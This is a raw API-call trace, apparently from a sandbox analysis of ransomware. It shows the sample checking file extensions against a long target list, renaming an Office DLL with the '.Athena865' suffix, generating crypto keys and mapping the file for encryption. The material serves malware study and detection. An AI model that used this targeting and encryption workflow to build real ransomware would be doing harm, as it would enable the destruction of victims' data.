(lpString="XPAGE3C.DLL") returned 11 [0089.862] lstrlenW (lpString="bak") returned 3 [0089.862] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0089.862] lstrlenW (lpString="ba_") returned 3 [0089.862] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0089.862] lstrlenW (lpString="dbb") returned 3 [0089.862] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0089.862] lstrlenW (lpString="vmdk") returned 4 [0089.862] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0089.862] lstrlenW (lpString="rar") returned 3 [0089.863] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0089.863] lstrlenW (lpString="zip") returned 3 [0089.863] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0089.863] lstrlenW (lpString="tgz") returned 3 [0089.863] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0089.863] lstrlenW (lpString="vbox") returned 4 [0089.863] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0089.863] lstrlenW (lpString="vdi") returned 3 [0089.863] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0089.863] lstrlenW (lpString="vhd") returned 3 [0089.863] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0089.863] lstrlenW (lpString="vhdx") returned 4 [0089.863] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0089.863] lstrlenW (lpString="avhd") returned 4 [0089.863] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0089.863] lstrlenW (lpString="db") returned 2 [0089.863] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0089.863] lstrlenW (lpString="db2") returned 3 [0089.863] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0089.863] lstrlenW (lpString="db3") returned 3 [0089.863] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0089.863] lstrlenW (lpString="dbf") returned 3 [0089.863] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0089.863] lstrlenW (lpString="mdf") returned 3 [0089.863] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0089.863] lstrlenW (lpString="mdb") returned 3 [0089.863] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0089.863] lstrlenW (lpString="sql") returned 3 [0089.863] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0089.863] lstrlenW (lpString="sqlite") returned 6 [0089.863] lstrcmpiW (lpString1="3C.DLL", lpString2="sqlite") returned -1 [0089.864] lstrlenW (lpString="sqlite3") returned 7 [0089.864] lstrcmpiW (lpString1="E3C.DLL", lpString2="sqlite3") returned -1 [0089.864] lstrlenW (lpString="sqlitedb") returned 8 [0089.864] lstrcmpiW (lpString1="GE3C.DLL", lpString2="sqlitedb") returned -1 [0089.864] lstrlenW (lpString="xml") returned 3 [0089.864] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0089.864] lstrlenW (lpString="$er") returned 3 [0089.864] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0089.864] lstrlenW (lpString="4dd") returned 3 [0089.864] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0089.864] lstrlenW (lpString="4dl") returned 3 [0089.864] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0089.864] lstrlenW (lpString="^^^") returned 3 [0089.864] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0089.864] lstrlenW (lpString="abs") returned 3 [0089.864] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0089.864] lstrlenW (lpString="abx") returned 3 [0089.864] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0089.864] lstrlenW (lpString="accdb") returned 5 [0089.864] lstrcmpiW (lpString1="C.DLL", lpString2="accdb") returned 1 [0089.864] lstrlenW (lpString="accdc") returned 5 [0089.864] lstrcmpiW (lpString1="C.DLL", lpString2="accdc") returned 1 [0089.864] lstrlenW (lpString="accde") returned 5 [0089.864] lstrcmpiW (lpString1="C.DLL", lpString2="accde") returned 1 [0089.864] lstrlenW (lpString="accdr") returned 5 [0089.864] lstrcmpiW (lpString1="C.DLL", lpString2="accdr") returned 1 [0089.864] lstrlenW (lpString="accdt") returned 5 [0089.864] lstrcmpiW (lpString1="C.DLL", lpString2="accdt") returned 1 [0089.864] lstrlenW (lpString="accdw") returned 5 [0089.864] lstrcmpiW (lpString1="C.DLL", lpString2="accdw") returned 1 [0089.865] lstrlenW (lpString="accft") returned 5 [0089.865] lstrcmpiW (lpString1="C.DLL", lpString2="accft") returned 1 [0089.865] lstrlenW (lpString="adb") returned 3 [0089.865] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0089.865] lstrlenW (lpString="adb") returned 3 [0089.865] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0089.865] lstrlenW (lpString="ade") returned 3 [0089.865] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0089.865] lstrlenW (lpString="adf") returned 3 [0089.865] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0089.865] lstrlenW (lpString="adn") returned 3 [0089.865] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0089.865] lstrlenW (lpString="adp") returned 3 [0089.865] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0089.865] lstrlenW (lpString="alf") returned 3 [0089.865] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0089.865] lstrlenW (lpString="ask") returned 3 [0089.865] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0089.865] lstrlenW (lpString="btr") returned 3 [0089.865] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0089.865] lstrlenW (lpString="cat") returned 3 [0089.865] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0089.865] lstrlenW (lpString="cdb") returned 3 [0089.865] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0089.865] lstrlenW (lpString="ckp") returned 3 [0089.865] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0089.865] lstrlenW (lpString="cma") returned 3 [0089.865] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0089.865] lstrlenW (lpString="cpd") returned 3 [0089.865] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0089.865] lstrlenW (lpString="dacpac") returned 6 [0089.866] lstrcmpiW (lpString1="3C.DLL", lpString2="dacpac") returned -1 [0089.866] lstrlenW (lpString="dad") returned 3 [0089.866] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0089.866] lstrlenW (lpString="dadiagrams") returned 10 [0089.866] lstrcmpiW (lpString1="PAGE3C.DLL", lpString2="dadiagrams") returned 1 [0089.866] lstrlenW (lpString="daschema") returned 8 [0089.866] lstrcmpiW (lpString1="GE3C.DLL", lpString2="daschema") returned 1 [0089.866] lstrlenW (lpString="db-journal") returned 10 [0089.866] lstrcmpiW (lpString1="PAGE3C.DLL", lpString2="db-journal") returned 1 [0089.866] lstrlenW (lpString="db-shm") returned 6 [0089.866] lstrcmpiW (lpString1="3C.DLL", lpString2="db-shm") returned -1 [0089.866] lstrlenW (lpString="db-wal") returned 6 [0089.866] lstrcmpiW (lpString1="3C.DLL", lpString2="db-wal") returned -1 [0089.866] lstrlenW (lpString="dbc") returned 3 [0089.866] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0089.866] lstrlenW (lpString="dbs") returned 3 [0089.866] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0089.866] lstrlenW (lpString="dbt") returned 3 [0089.866] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0089.866] lstrlenW (lpString="dbv") returned 3 [0089.866] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0089.866] lstrlenW (lpString="dbx") returned 3 [0089.866] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0089.866] lstrlenW (lpString="dcb") returned 3 [0089.866] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0089.866] lstrlenW (lpString="dct") returned 3 [0089.866] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0089.866] lstrlenW (lpString="dcx") returned 3 [0089.866] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0089.866] lstrlenW (lpString="ddl") returned 3 [0089.867] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0089.867] lstrlenW (lpString="dlis") returned 4 [0089.867] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0089.867] lstrlenW (lpString="dp1") returned 3 [0089.867] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0089.867] lstrlenW (lpString="dqy") returned 3 [0089.867] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0089.867] lstrlenW (lpString="dsk") returned 3 [0089.867] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0089.867] lstrlenW (lpString="dsn") returned 3 [0089.867] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0089.867] lstrlenW (lpString="dtsx") returned 4 [0089.867] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0089.867] lstrlenW (lpString="dxl") returned 3 [0089.867] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0089.867] lstrlenW (lpString="eco") returned 3 [0089.867] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0089.867] lstrlenW (lpString="ecx") returned 3 [0089.867] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0089.867] lstrlenW (lpString="edb") returned 3 [0089.867] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0089.867] lstrlenW (lpString="epim") returned 4 [0089.867] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0089.867] lstrlenW (lpString="fcd") returned 3 [0089.867] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0089.867] lstrlenW (lpString="fdb") returned 3 [0089.867] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0089.867] lstrlenW (lpString="fic") returned 3 [0089.867] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0089.867] lstrlenW (lpString="flexolibrary") returned 12 [0089.867] lstrlenW (lpString="fm5") returned 3 [0089.868] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0089.868] lstrlenW (lpString="fmp") returned 3 [0089.868] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0089.868] lstrlenW (lpString="fmp12") returned 5 [0089.868] lstrcmpiW (lpString1="C.DLL", lpString2="fmp12") returned -1 [0089.868] lstrlenW (lpString="fmpsl") returned 5 [0089.868] lstrcmpiW (lpString1="C.DLL", lpString2="fmpsl") returned -1 [0089.868] lstrlenW (lpString="fol") returned 3 [0089.868] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0089.868] lstrlenW (lpString="fp3") returned 3 [0089.868] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0089.868] lstrlenW (lpString="fp4") returned 3 [0089.868] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0089.868] lstrlenW (lpString="fp5") returned 3 [0089.868] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0089.868] lstrlenW (lpString="fp7") returned 3 [0089.868] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0089.868] lstrlenW (lpString="fpt") returned 3 [0089.868] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0089.868] lstrlenW (lpString="frm") returned 3 [0089.868] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0089.868] lstrlenW (lpString="gdb") returned 3 [0089.868] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0089.868] lstrlenW (lpString="gdb") returned 3 [0089.868] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0089.868] lstrlenW (lpString="grdb") returned 4 [0089.868] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0089.868] lstrlenW (lpString="gwi") returned 3 [0089.868] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0089.869] lstrlenW (lpString="hdb") returned 3 [0089.869] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0089.869] lstrlenW (lpString="his") returned 3 [0089.869] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0089.869] lstrlenW (lpString="ib") returned 2 [0089.869] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0089.869] lstrlenW (lpString="idb") returned 3 [0089.869] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0089.869] lstrlenW (lpString="ihx") returned 3 [0089.869] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0089.869] lstrlenW (lpString="itdb") returned 4 [0089.869] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0089.869] lstrlenW (lpString="itw") returned 3 [0089.869] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0089.869] lstrlenW (lpString="jet") returned 3 [0089.869] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0089.869] lstrlenW (lpString="jtx") returned 3 [0089.869] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0089.869] lstrlenW (lpString="kdb") returned 3 [0089.869] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0089.869] lstrlenW (lpString="kexi") returned 4 [0089.869] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0089.869] lstrlenW (lpString="kexic") returned 5 [0089.869] lstrcmpiW (lpString1="C.DLL", lpString2="kexic") returned -1 [0089.869] lstrlenW (lpString="kexis") returned 5 [0089.869] lstrcmpiW (lpString1="C.DLL", lpString2="kexis") returned -1 [0089.869] lstrlenW (lpString="lgc") returned 3 [0089.869] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0089.869] lstrlenW (lpString="lwx") returned 3 [0089.869] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0089.870] lstrlenW (lpString="maf") returned 3 [0089.870] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0089.870] lstrlenW (lpString="maq") returned 3 [0089.870] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0089.870] lstrlenW (lpString="mar") returned 3 [0089.870] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0089.870] lstrlenW (lpString="marshal") returned 7 [0089.870] lstrcmpiW (lpString1="E3C.DLL", lpString2="marshal") returned -1 [0089.870] lstrlenW (lpString="mas") returned 3 [0089.870] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0089.870] lstrlenW (lpString="mav") returned 3 [0089.870] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0089.870] lstrlenW (lpString="maw") returned 3 [0089.870] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0089.870] lstrlenW (lpString="mdbhtml") returned 7 [0089.870] lstrcmpiW (lpString1="E3C.DLL", lpString2="mdbhtml") returned -1 [0089.870] lstrlenW (lpString="mdn") returned 3 [0089.870] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0089.870] lstrlenW (lpString="mdt") returned 3 [0089.870] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0089.870] lstrlenW (lpString="mfd") returned 3 [0089.870] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0089.870] lstrlenW (lpString="mpd") returned 3 [0089.870] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0089.870] lstrlenW (lpString="mrg") returned 3 [0089.870] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0089.870] lstrlenW (lpString="mud") returned 3 [0089.870] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0089.870] lstrlenW (lpString="mwb") returned 3 [0089.870] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0089.870] lstrlenW (lpString="myd") returned 3 [0089.871] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0089.871] lstrlenW (lpString="ndf") returned 3 [0089.871] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0089.871] lstrlenW (lpString="nnt") returned 3 [0089.871] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0089.871] lstrlenW (lpString="nrmlib") returned 6 [0089.871] lstrcmpiW (lpString1="3C.DLL", lpString2="nrmlib") returned -1 [0089.871] lstrlenW (lpString="ns2") returned 3 [0089.871] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0089.871] lstrlenW (lpString="ns3") returned 3 [0089.871] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0089.871] lstrlenW (lpString="ns4") returned 3 [0089.871] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0089.871] lstrlenW (lpString="nsf") returned 3 [0089.871] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0089.871] lstrlenW (lpString="nv") returned 2 [0089.871] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0089.871] lstrlenW (lpString="nv2") returned 3 [0089.871] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0089.871] lstrlenW (lpString="nwdb") returned 4 [0089.871] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0089.871] lstrlenW (lpString="nyf") returned 3 [0089.871] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0089.871] lstrlenW (lpString="odb") returned 3 [0089.871] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0089.871] lstrlenW (lpString="odb") returned 3 [0089.871] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0089.872] lstrlenW (lpString="oqy") returned 3 [0089.872] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0089.872] lstrlenW (lpString="ora") returned 3 [0089.872] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0089.872] lstrlenW (lpString="orx") returned 3 [0089.872] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0089.872] lstrlenW (lpString="owc") returned 3 [0089.872] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0089.872] lstrlenW (lpString="p96") returned 3 [0089.872] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0089.872] lstrlenW (lpString="p97") returned 3 [0089.872] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0089.872] lstrlenW (lpString="pan") returned 3 [0089.872] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0089.872] lstrlenW (lpString="pdb") returned 3 [0089.872] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0089.872] lstrlenW (lpString="pdm") returned 3 [0089.872] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0089.872] lstrlenW (lpString="pnz") returned 3 [0089.872] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0089.872] lstrlenW (lpString="qry") returned 3 [0089.872] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0089.872] lstrlenW (lpString="qvd") returned 3 [0089.872] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0089.872] lstrlenW (lpString="rbf") returned 3 [0089.872] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0089.872] lstrlenW (lpString="rctd") returned 4 [0089.872] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0089.872] lstrlenW (lpString="rod") returned 3 [0089.873] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0089.873] lstrlenW (lpString="rodx") returned 4 [0089.873] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0089.873] lstrlenW (lpString="rpd") returned 3 [0089.873] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0089.873] lstrlenW (lpString="rsd") returned 3 [0089.873] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0089.873] lstrlenW (lpString="sas7bdat") returned 8 [0089.873] lstrcmpiW (lpString1="GE3C.DLL", lpString2="sas7bdat") returned -1 [0089.873] lstrlenW (lpString="sbf") returned 3 [0089.873] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0089.873] lstrlenW (lpString="scx") returned 3 [0089.873] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0089.873] lstrlenW (lpString="sdb") returned 3 [0089.873] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0089.873] lstrlenW (lpString="sdc") returned 3 [0089.873] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0089.873] lstrlenW (lpString="sdf") returned 3 [0089.873] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0089.873] lstrlenW (lpString="sis") returned 3 [0089.873] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0089.873] lstrlenW (lpString="spq") returned 3 [0089.873] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0089.873] lstrlenW (lpString="te") returned 2 [0089.873] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0089.873] lstrlenW (lpString="teacher") returned 7 [0089.873] lstrcmpiW (lpString1="E3C.DLL", lpString2="teacher") returned -1 [0089.875] lstrlenW (lpString="tmd") returned 3 [0089.875] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0089.875] lstrlenW (lpString="tps") returned 3 [0089.875] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0089.875] lstrlenW (lpString="trc") returned 3 [0089.875] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0089.875] lstrlenW (lpString="trc") returned 3 [0089.875] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0089.875] lstrlenW (lpString="trm") returned 3 [0089.875] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0089.875] lstrlenW (lpString="udb") returned 3 [0089.875] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0089.875] lstrlenW (lpString="udl") returned 3 [0089.875] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0089.875] lstrlenW (lpString="usr") returned 3 [0089.875] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0089.876] lstrlenW (lpString="v12") returned 3 [0089.876] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0089.876] lstrlenW (lpString="vis") returned 3 [0089.876] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0089.876] lstrlenW (lpString="vpd") returned 3 [0089.876] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0089.876] lstrlenW (lpString="vvv") returned 3 [0089.876] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0089.876] lstrlenW (lpString="wdb") returned 3 [0089.876] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0089.876] lstrlenW (lpString="wmdb") returned 4 [0089.876] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0089.876] lstrlenW (lpString="wrk") returned 3 [0089.876] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0089.876] lstrlenW (lpString="xdb") returned 3 [0089.876] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0089.876] lstrlenW (lpString="xld") returned 3 [0089.876] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0089.876] lstrlenW (lpString="xmlff") returned 5 [0089.876] lstrcmpiW (lpString1="C.DLL", lpString2="xmlff") returned -1 [0089.876] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\XPAGE3C.DLL.Athena865") returned 64 [0089.876] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\XPAGE3C.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\xpage3c.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\XPAGE3C.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\xpage3c.dll.athena865"), dwFlags=0x1) returned 1 [0089.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XPAGE3C.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\xpage3c.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0089.878] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=480144) returned 1 [0089.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0089.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0089.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0089.878] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0089.879] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0089.879] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.879] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x75690, lpName=0x0) returned 0x154 [0089.880] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x75690) returned 0x2d50000 [0089.902] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0089.903] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0089.903] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0089.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0089.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0089.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0089.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0089.904] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0089.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0089.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0089.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0089.904] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0089.909] CloseHandle (hObject=0x154) returned 1 [0089.909] CloseHandle (hObject=0x17c) returned 1 [0089.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0089.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0089.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0089.911] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x75390, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XPAGE3C.DLL", cAlternateFileName="")) returned 0 [0089.911] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0089.911] ReleaseMutex (hMutex=0xec) returned 1 [0089.911] CloseHandle (hObject=0xec) returned 1 [0089.911] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Stationery" | out: lpString1="C:\\Program Files\\Microsoft Office\\Stationery") returned="C:\\Program Files\\Microsoft Office\\Stationery" [0089.911] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b058 | out: hHeap=0x4f0000) returned 1 [0089.911] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f778 | out: hHeap=0x4f0000) returned 1 [0089.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Stationery") returned 44 [0089.912] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D2A740B40034EF7D2EC6974297B3D236") returned 0xec [0089.912] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0089.912] lstrcatW (in: lpString1="", 